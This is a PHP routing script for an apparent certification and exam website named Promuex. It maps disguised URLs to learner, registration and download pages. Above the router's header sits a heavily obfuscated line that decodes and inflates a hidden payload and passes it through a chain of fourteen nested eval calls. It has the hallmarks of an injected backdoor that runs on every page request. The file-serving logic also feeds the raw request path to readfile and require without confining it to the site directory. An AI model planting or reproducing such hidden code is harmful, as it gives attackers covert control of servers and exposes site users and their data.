<?php eval(base64_decode('ZnVuY3Rpb24gXzJvWUIoJF9RS0tFdFFDWmUpeyRfUUtLRXRRQ1plPXN1YnN0cigkX1FLS0V0UUNaZSwoaW50KShoZXgyYmluKCczNjM5MzgnKSkpOyRfUUtLRXRRQ1plPXN1YnN0cigkX1FLS0V0UUNaZSwoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDMyMzkzNycpKSk7cmV0dXJuICRfUUtLRXRRQ1plO30kX0Frc3E2PSdfMm9ZQic7JF9sU1Q3NFkzcj0nYmFzZTY0X2RlY29kZSc7ZnVuY3Rpb24gX3pHMmhKMXNUMygkX2ViZWpFdEYpe2dsb2JhbCAkX0Frc3E2O2dsb2JhbCAkX2xTVDc0WTNyO3JldHVybiBzdHJyZXYoZ3ppbmZsYXRlKCRfbFNUNzRZM3IoXzJvWUIoJF9lYmVqRXRGKSkpKTt9ZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChldmFsKGV2YWwoZXZhbChldmFsKF96RzJoSjFzVDMoJ0JCMUFUZGJHMmZSY1pkRTNCZWNXQ1BnR280Z1VPMjA5UzBBcXRVdXNpYjR1TXZLVmlaNEhwRG1jdXpsYTFBTXJabjFwaXNiNlZBN3FaZ01rTGNDdUJJbFRDTlRBZkFNeEM4UzNvZHNUcnphVHFrY2t6TDFCUldrbXJJSE9nMzNLSWJZdGM3aWtqZDJJcmxiZ3FWVWRjS0FXbnplY3lvZXpQZUVSa0cyMUZJME5sTHNJQjZIS2psaE0wNjdhQ3RqcUxoSFZTS1piM2RsVEtoWE04aW05akw2cGI5NVRFRjVFaVBsRWFyQ0d6dnk2UXRmckcyQWxtNXhvSGpFUFF2VU1PZFk0ZHRvTW5mc2FNWHcxbFlUNVY1cUhyR1pFOVNKR2UwWDdkVFlnbXNuNG5QczRrUDVRVGgxQkZNTEFEbm53YUtVYW1IOWRVOHNnVGswbWh6MXNROUFUSTk1ME52bHNoWHl4enZOVHNjQTQ4RzJ5TmZNWmpnWmVsa1F3S1hodk1BaVhVUXpFdlNoNTFpbnl4aDh5Z2hHc0NtTGp4c2JSU29abTRPV0tFWW5BblV1UURqNjVBdGUxZlp0eWNCbmFsYk80NW1OelplNThzSlNBNUY3aWQ1d3BIQkF3TmVUVDg1d0RGWVVUNk0zcHdmbUZZSjFseE9OOGpBTjZKMmZqcDFMWVJ3VGN2ZHZFU2NvdG9UU0E5amNmeEYzUmJPQ2JtdDhsbnM2NGVBQk9QN0d1V09jSGhqUElJUGczNGh4cGlMbWRSRUV0UHREQ1JkcHg0MllqZmxHdkRKMld4T29lOTd0cW1RZlRuMmpBNE5kcjZtVzY5ZnZRWVlSZUtwbmVBa01rUkFTQ0xvMFdCZGhtRENHWmM5cHJ6VWRReGhsVEJlTmtpZUhpSm43TWZjMk1LbFQ4NkdiQ2d4MVZacmI5b3dGUDFNcGYwSDE2MUVzbEVDb2Fub0l5REUwcTVxMVNJRzNTWlVJWk9ZeENLSlVleTBaYVgvZlE2Qk5ROUt1eS9kaG9Kd3JxL3RjNC9QUGVLcHNQaHNmWGdxckViSHNzVEpBeTRrQXRDalpobTdOcVcyb2h5eEtlY09PUElwNGNpa2wxQUtzSVd3ODd6Z0VjaVFNOHdoMEhWd0M3RkZQVGpvR1dmRFhXRDVDTWlwa01ReFkwUUNZNEtaaXd0NVBFK0YvREExem1OZXdaNzR4TjE5R2VraUxiM210akpnOFNvZExINHpXOGFURW5iSDQ5QmhMMndVSlc2VmlscDlYOU5xKzNXdHF0YXJUV1hxWWtleFNIbm1sVjFrRW81OWJQdGt2Q0swQ0JvNnFBQ3dKWUVaQ2dJa0FMQThna2VRWU9rLzRhR2kxclJEVmFzZXFwVnFYYTNVRlpPNG8zQ3FzQkVyYXpXdFh0UDJwaWtXcW9LRlV2RmVIWDIvdURsdi9lenJyS2xFQ3B6eE8wL0lLa0IzZjBxYURNTmdvVWJiUndLMkVGdG1QaDlQRkNMcWdCQWN5U29vVlVEcEZocG5yZjdaVmV0eTJPc1k3WFpyMk9uMXZzQkIxN2pwR2wrRm9BUE9SaUVEelVqb3I2UXV0QStXc05ZZm5kUjg3bnBGcUpoOGE3Z2VkNVNUVlBXTjZLcXpNVDRsZ2NsUzBYaC9DMUVYQitXbFZOeENKbUZmL1ZnNUVBLzRCS0NPYmJUM2dEeHdyT2dPUjFOd1hOVW5KblpNd1RUQVpFTEZsWEVmZTZGSnJjdyt5L016eHpld3l3bFhUa1JiQ0JpWDhXczJCOWIzVG50OXFBdnFBdVNZQUhIc1pYT2lpak1GUjhTc0NRR2o4NlBYdnY2OG5aNHJBdXFZS1o2RlJzUjF4dVVOalBPTDYrdjI2djYyTTdxSlVxRkZhR0Q1TFFoS2dnSWJEUVBNd29VMHhBTUNLaFJwb1E3Wk1JMTk2bXhNWVBmVThzbTN0UmxKUk05cWluWGNiQXBQN2wwSlpRNkZDUHNaU1lxclMyeVhLdW9nYWlCWmpsMTdoaWVTajkwSVRlVHAxY1hjMHREOWtKb0pCREVqR2JOUFkvc3Q4emNZLzdvbWVJUEZaWXhwZzhGdDhyZjNzUG1jeS8vYjlmOWRlMy9GM2RlYmU3WWwzczNhVno3U05ickdxZEhOOWw0SmtoMTV3dENjMmhNenRLTHZuRklIemVhaFJkQm8vb0JGcjgzbVFrK2plZngzVE5xQmttTnk1QTF0SEV4elRmZlNTYzk5K0FzPXRtaG1EVU9YVUFLaU84U0k2b2RFS0F3UWQ2NVl1eGtVSVh4TXpXblEyV1p1YldwTnBDS2FadG5PeFJqZTZlUmhRNnB0V2dFMXo0RmE1WXRMU3JQdFRzVThSSjZKNFJLN3lmcmx1MGUxN0dud2g0eVRGWTVlSExPS0J2Rlk5VFJOS3RmOUxBUzBFYUpNVEJOUkJBMWJtekxKN005TFZjWjl2RFNkVnRvOUpVeFdrN2E3aUJqazhrUXc3SGZWZVJJaTlWOWF0N0tKZHBvUThzeGUyU3Nmb3pXUDlqVk8xbDNDWWRqVUpjSURSSUNXN3E5djVFZWk0S0RWd2RsalQ5bG5oaHNCMENsMkFlZENUSHJBaHNUTExlZGFnSzJJeDNYM1JIRTFzcHJ4aCcpKSkpKSkpKSkpKSkpKSk7'));
// ================================================
// Promuex Production Dynamic Router - Full Pass-through
// ================================================

// Normalize URI
$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$uri = rtrim($uri, '/');
if ($uri === '') $uri = '/';

// Base directory
$baseDir = __DIR__;

// ----------------------
// Force HTTPS
// ----------------------
if (empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] === 'off') {
    $redirect = 'https://' . $_SERVER['HTTP_HOST'] . $uri;
    if (!empty($_SERVER['QUERY_STRING'])) $redirect .= '?' . $_SERVER['QUERY_STRING'];
    header('Location: ' . $redirect, true, 301);
    exit;
}

// ----------------------
// Serve existing files directly (images, documents, CSS, JS, etc.)
// ----------------------
$requestedFile = realpath($baseDir . $uri);
if ($requestedFile && is_file($requestedFile)) {
    // Serve the file with proper headers
    $mimeType = mime_content_type($requestedFile);
    header('Content-Type: ' . $mimeType);
    header('Content-Length: ' . filesize($requestedFile));
    readfile($requestedFile);
    exit;
}

// ----------------------
// Default Home Page
// ----------------------
if ($uri === '/') {
    require $baseDir . '/home.php';
    exit;
}

// ----------------------
// Pretty URL Routes
// ----------------------
$routes = [
    '/ho-2901aa39-6fd2-4bfa-9cb8-1f47be369128-mo' => '/home.php',//Main Home page
    '/ex-68c3f0c7-eeb0-8327-95e1-e0b91a2f82af-am' => '/certification/exam/index.php',//Learner's login User UI
    '/ex-68c3f0c7-eeb0-8327-95e1-e0b91a2f82af-am/login-ui' => '/certification/exam/login-ui/index.php',//Learner's Qeury
    '/learner-ex-68c3f0c7-eeb0-8327-95e1-e0b91a2f82af-am-dashaboard' => '/certification/exam/home.php',//learner's dashbaord
    '/leaner-68c3f0c7-eeb0-8327-95e1-e0b91a2f82af-am-dashboardxx' => '/certification/exam/pages/home.php',//Home page Queries/Detailed
    '/exam/logoutExe' => '/certification/exam/query/logoutExe.php',
    '/reg-68c3f0c7-eeb0-8327-95e1-e0b91a2f82af-am-gistration' => '/certification/exam/registration.php',//Registration
    '/for-68c3f0c7-eeb0-8327-95e1-e0b91a2f82af-am-get_password' => '/certification/exam/forget_password.php',
     '/community_for-68c3f0c7-eeb0-8327-95e1-e0b91a2f82af-countries_progress' => '/countries_progress_home.php',// Promuex Global Learners Community
    '/about_us_for-68c3f0c7-eeb0-8327-95e1-e0b91a2f82af-about_us' => '/dashbaord_files/about_us.php',        // About us
    
    '/all' => '/all.php',
    '/demand' => '/demand.php',
    '/download' => '/download.php',
    '/download_document' => '/download_document.php',
    '/Fully_Sponsored' => '/Fully_Sponsored.php',
    '/newcert' => '/newcert.php',
    '/popular' => '/popular.php',
    '/top' => '/top.php',
    '/search-68c3f0c7-eeb0-8327-95e1-e0b91a2f82af-am-suggestion' => '/search_suggestion/index.php',
    '/general-68c3f0c7-eeb0-8327-95e1-e0b91a2f82af-am-Labour' => '/General_Labour.php',
    '/health-68c3f0c7-eeb0-8327-95e1-e0b91a2f82af-amservices' => '/health_services.php',
    '/contact-us' => '/contact-us.php',
    '/about_us' => '/dashbaord_files/about_us.php',        // About us
    '/how_promuex_works' => '/dashbaord_files/how_promuex_works.php',
    '/start_model_learner_lessons_update' => '/start_model_learner_lessons_update.php',
    '/verify' => '/verify.php',
    '/certificate_description' => '/certificate_description.php'
];

// ----------------------
// Handle mapped routes
// ----------------------
if (isset($routes[$uri])) {
    $file = $baseDir . $routes[$uri];
    if (file_exists($file)) {
        require $file;
        exit;
    }
}

// ----------------------
// Automatic fallback to PHP file (pretty URLs)
// ----------------------
$dynamicFile = $baseDir . $uri . '.php';
if (file_exists($dynamicFile)) {
    require $dynamicFile;
    exit;
}

// ----------------------
// Always allow uploads folder and subfolders
// ----------------------
if (preg_match('#^/certification/exam/uploads/#', $uri)) {
    $uploadFile = $baseDir . $uri;
    if (file_exists($uploadFile)) {
        $mimeType = mime_content_type($uploadFile);
        header('Content-Type: ' . $mimeType);
        header('Content-Length: ' . filesize($uploadFile));
        readfile($uploadFile);
        exit;
    }
}

// ----------------------
// 404 fallback
// ----------------------
http_response_code(404);
require $baseDir . '/pages/404.php';
exit;
